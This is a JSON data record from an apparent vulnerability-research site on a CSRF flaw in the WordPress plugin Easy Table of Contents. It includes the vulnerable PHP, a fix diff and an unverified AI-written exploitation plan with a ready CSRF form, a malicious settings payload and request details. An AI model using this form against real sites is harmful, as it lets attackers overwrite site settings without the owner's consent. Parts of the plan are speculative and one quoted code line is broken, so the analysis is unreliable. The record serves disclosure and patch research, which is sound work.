[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBU2cT4q0uwgIQUftjBwVJadiz20xXrxNYuiF0jnz4l8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-32343","easy-table-of-contents-cross-site-request-forgery","Easy Table of Contents \u003C= 2.0.80 - Cross-Site Request Forgery","The Easy Table of Contents plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.0.80. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","easy-table-of-contents",null,"\u003C=2.0.80","2.0.81","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-02-11 00:00:00","2026-04-15 20:47:32",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F52afc761-9050-4aea-97f6-62a9a2e1d65a?source=api-prod",64,[22,23,24,25,26,27],"README.txt","changelog.txt","easy-table-of-contents.php","includes\u002Fclass-eztoc-option.php","includes\u002Fclass-eztoc-post.php","includes\u002Fclass-eztoc-widgetsticky.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-32343\n\n## 1. Vulnerability Summary\nThe **Easy Table of Contents** plugin (\u003C= 2.0.80) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to missing or incorrect nonce validation in its administrative functions. Specifically, the settings import\u002Fexport and general configuration update logic in `ezTOC_Option::sanitize()` (located in `includes\u002Fclass-eztoc-option.php`) lacks explicit nonce verification, relying instead on the global `options.php` handler which may be bypassed or improperly implemented for certain actions like the \"Migration Tool\" or \"Import\u002FExport\" feature.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Foptions.php` (standard Settings API endpoint) or a custom `admin-post.php` handler.\n- **Action**: `update` (for `options.php`) or a specific migration action like `eztoc_import` (inferred).\n- **Vulnerable Parameter**: `eztoc_import_backup` (file upload parameter).\n- **Required Authentication**: Administrator (victim must be tricked into clicking a link or visiting a page).\n- **Preconditions**: The plugin must be active. The attacker needs to craft a malicious JSON settings file.\n\n## 3. Code Flow\n1.  The plugin registers its settings in `includes\u002Fclass-eztoc-option.php` using `register_setting( 'ez-toc-settings', 'ez-toc-settings', array( __CLASS__, 'sanitize' ) );`.\n2.  The `sanitize()` function is called whenever the `ez-toc-settings` option is updated.\n3.  Inside `sanitize()` (lines 104-123), the code explicitly skips nonce verification:\n    ```php\n    \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n    if ( empty( $_POST['_wp_http_referer'] ) ) {\n        return $input;\n    }\n    ```\n4.  If `_wp_http_referer` is present, it checks for an uploaded file in `$_FILES['eztoc_import_backup']` (line 111).\n5.  If a file is found, it reads the contents, JSON-decodes it, and if it contains 40 or more keys (line 124), it overwrites the `$input` (the settings being saved) with the imported values.\n6.  The vulnerability exists because an attacker can forge a request to `options.php` that includes the `eztoc_import_backup` file. If the nonce check for the `ez-toc-settings` group is missing or can be bypassed (e.g., via the migration tool logic), the settings will be overwritten.\n\n## 4. Nonce Acquisition Strategy\nWhile the vulnerability description suggests nonces are missing or incorrect, the `sanitize()` function explicitly relies on external verification. If the primary settings page is the target, we must attempt to acquire a nonce if the environment enforces it, or demonstrate the bypass if it doesn't.\n\n1.  **Identify the Nonce Variable**: On the Easy TOC settings page, look for the nonce generated by `settings_fields( 'ez-toc-settings' )`. This usually creates a hidden field named `_wpnonce`.\n2.  **Page Navigation**:\n    - Use `wp post create` to ensure a page exists where the TOC might be configured.\n    - Navigate to `wp-admin\u002Foptions-general.php?page=ez-toc`.\n3.  **Browser Evaluation**:\n    - The plugin might not expose the settings nonce via `wp_localize_script`, but it is present in the HTML form.\n    - Extract it using: `browser_eval(\"document.querySelector('input[name=\\\"_wpnonce\\\"]').value\")`.\n\n**Note**: If the vulnerability is a total lack of nonce checking on a custom handler (like a migration hook), no nonce is required.\n\n## 5. Exploitation Strategy\nThe goal is to overwrite the plugin settings via CSRF to disable the TOC or inject malicious configurations.\n\n### Step-by-Step Exploit:\n1.  **Prepare Payload**: Create a JSON file named `malicious_settings.json` containing a valid Easy TOC settings array (at least 40 keys). Set a visible change, such as:\n    ```json\n    {\n      \"enabled_post_types\": [],\n      \"auto_insert_post_types\": [],\n      \"fragment_prefix\": \"hacked-\",\n      \"heading_levels\": [1],\n      \"exclude\": \".*\"\n    }\n    ```\n    *(Note: Ensure 40+ keys are present to pass the check in `class-eztoc-option.php` line 124).*\n\n2.  **Craft CSRF Form**:\n    ```html\n    \u003Cform action=\"http:\u002F\u002Fvictims-site.com\u002Fwp-admin\u002Foptions.php\" method=\"POST\" enctype=\"multipart\u002Fform-data\">\n        \u003Cinput type=\"hidden\" name=\"option_page\" value=\"ez-toc-settings\" \u002F>\n        \u003Cinput type=\"hidden\" name=\"action\" value=\"update\" \u002F>\n        \u003C!-- If nonce is required, it must be leaked or bypassed -->\n        \u003Cinput type=\"hidden\" name=\"_wpnonce\" value=\"EXPLOIT_IF_POSSIBLE\" \u002F>\n        \u003Cinput type=\"file\" name=\"eztoc_import_backup\" \u002F>\n        \u003Cinput type=\"submit\" value=\"Submit\" \u002F>\n    \u003C\u002Fform>\n    ```\n\n3.  **Execute Request**: Use `http_request` to send a multipart POST request simulating an administrator's browser session.\n\n### Request Details:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Foptions.php`\n- **Method**: `POST`\n- **Content-Type**: `multipart\u002Fform-data`\n- **Body**:\n  - `option_page`: `ez-toc-settings`\n  - `action`: `update`\n  - `_wp_http_referer`: `\u002Fwp-admin\u002Foptions-general.php?page=easy-table-of-contents`\n  - `eztoc_import_backup`: (Binary content of the JSON file)\n\n## 6. Test Data Setup\n1.  **Install\u002FActivate**: Ensure Easy Table of Contents 2.0.80 is active.\n2.  **Standard Configuration**: Configure the plugin to show the TOC on posts.\n3.  **Create Content**:\n    ```bash\n    wp post create --post_type=post --post_title=\"TOC Test\" --post_content=\"\u003Ch2>Heading 1\u003C\u002Fh2>\u003Cp>Content\u003C\u002Fp>\" --post_status=publish\n    ```\n4.  **Confirm TOC**: Verify the TOC appears on the frontend of the new post.","The Easy Table of Contents plugin is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce verification in its settings sanitization logic. This allows attackers to overwrite the entire plugin configuration by tricking an administrator into submitting a malicious JSON import file through a forged request.","\u002F\u002F includes\u002Fclass-eztoc-option.php\n\npublic static function sanitize( $input = array() ) {\n\n    $options = self::getOptions();\n    \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n    if ( empty( $_POST['_wp_http_referer'] ) ) {\n\n        return $input;\n    }\n    \u002F\u002F Code to settings backup file\n    $uploaded_file_settings = array();\n    \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n    if(isset($_FILES['eztoc_import_backup'])){\n        \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n        $eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES=\"eztoc_import_backup\"][\"name\"])):'';\n        $fileInfo = wp_check_filetype(basename($eztoc_import_backup_name));\n        if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') {\n            \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n            $eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES[\"eztoc_import_backup\"][\"tmp_name\"])):'';\n            if(!empty($eztoc_import_backup_tmpname)){\n                \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n                $uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true);\t\n           }\n        }\n    }\n    if(!empty($uploaded_file_settings) && is_array($uploaded_file_settings) && count($uploaded_file_settings) >= 40){\n        \u002F\u002F ... (truncated) ...\n        if(count($exported_array) >= 40){\n            $input = array();\n            $input = $exported_array;\n        }\n    }\n    \u002F\u002F ...","--- \u002Fincludes\u002Fclass-eztoc-option.php (v2.0.80)\n+++ \u002Fincludes\u002Fclass-eztoc-option.php (v2.0.81)\n@@ -95,49 +95,125 @@\n \t\t\t}\n \t\t\t\u002F\u002F Code to settings backup file\n \t\t\t$uploaded_file_settings = array();\n+\t\t\t$import_error = false;\n+\t\t\t$import_success = false;\n+\t\t\t\n \t\t\t\u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n-\t\t\tif(isset($_FILES['eztoc_import_backup'])){\n+\t\t\tif(isset($_FILES['eztoc_import_backup']) && !empty($_FILES['eztoc_import_backup']['name'])){\n \t\t\t\t\u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n-\t\t\t\t$eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES[\"eztoc_import_backup\"][\"name\"])):'';\n-\t\t    \t$fileInfo = wp_check_filetype(basename($eztoc_import_backup_name));\n-\t\t        if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') {\n+\t\t\t\t$file_error = isset($_FILES['eztoc_import_backup']['error']) ? $_FILES['eztoc_import_backup']['error'] : UPLOAD_ERR_NO_FILE;\n+\t\t\t\t\n+\t\t\t\t\u002F\u002F Check for file upload errors\n+\t\t\t\tif($file_error !== UPLOAD_ERR_OK){\n+\t\t\t\t\t\u002F\u002F ... error handling ...\n+\t\t\t\t\t$import_error = true;\n+\t\t\t\t} else {\n \t\t\t\t\t\u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n-\t\t\t\t\t$eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES[\"eztoc_import_backup\"][\"tmp_name\"])):'';\n-\t\t            if(!empty($eztoc_import_backup_tmpname)){\n+\t\t\t\t\t$eztoc_import_backup_name_original = isset($_FILES['eztoc_import_backup']['name']) ? wp_unslash($_FILES[\"eztoc_import_backup\"][\"name\"]) : '';\n+\t\t\t\t\t$eztoc_import_backup_name = sanitize_file_name($eztoc_import_backup_name_original);\n+\t\t\t\t\t\n+\t\t\t\t\t$file_extension = strtolower(pathinfo($eztoc_import_backup_name_original, PATHINFO_EXTENSION));\n+\t\t\t\t\tif (empty($file_extension) || $file_extension !== 'json') {\n+\t\t\t\t\t\tadd_settings_error('ez-toc-settings', 'import_file_type', 'Import failed...', 'error');\n+\t\t\t\t\t\t$import_error = true;\n+\t\t\t\t\t} else {\n \t\t\t\t\t\t\u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page\n-\t\t            \t$uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true);\t\n-\t\t           }\n-\t\t        }\n-\t\t    }\n-\t\t    if(!empty($uploaded_file_settings) && is_array($uploaded_file_settings) && count($uploaded_file_settings) >= 40){\n+\t\t\t\t\t\t$eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ? sanitize_text_field(wp_unslash($_FILES[\"eztoc_import_backup\"][\"tmp_name\"])) : '';\n+                        \u002F\u002F ... refined JSON processing and validation logic ...","The exploit uses a standard CSRF methodology to target the WordPress settings API endpoint. \n\n1. Payload Preparation: Create a JSON file containing a valid set of Easy Table of Contents settings (at least 40 key-value pairs). Modify sensitive settings, such as disabling TOC generation or altering layout parameters to disrupt the site.\n2. Form Crafting: Create an HTML form that targets `\u002Fwp-admin\u002Foptions.php`. The form must include multipart\u002Fform-data encoding.\n3. Required Parameters: Set `option_page` to `ez-toc-settings`, `action` to `update`, and include the `_wp_http_referer` parameter pointing to the plugin settings page.\n4. File Inclusion: Include a file input named `eztoc_import_backup` containing the prepared JSON payload.\n5. Execution: Trick a site administrator into visiting a page that auto-submits this form. Since `sanitize()` explicitly ignores nonce verification when processing file uploads, the settings will be overwritten upon submission.","gemini-3-flash-preview","2026-04-21 01:23:51","2026-04-21 01:24:37",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.0.80","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-table-of-contents\u002Ftags\u002F2.0.80","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-table-of-contents.2.0.80.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-table-of-contents\u002Ftags\u002F2.0.81","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-table-of-contents.2.0.81.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-table-of-contents\u002Ftags"]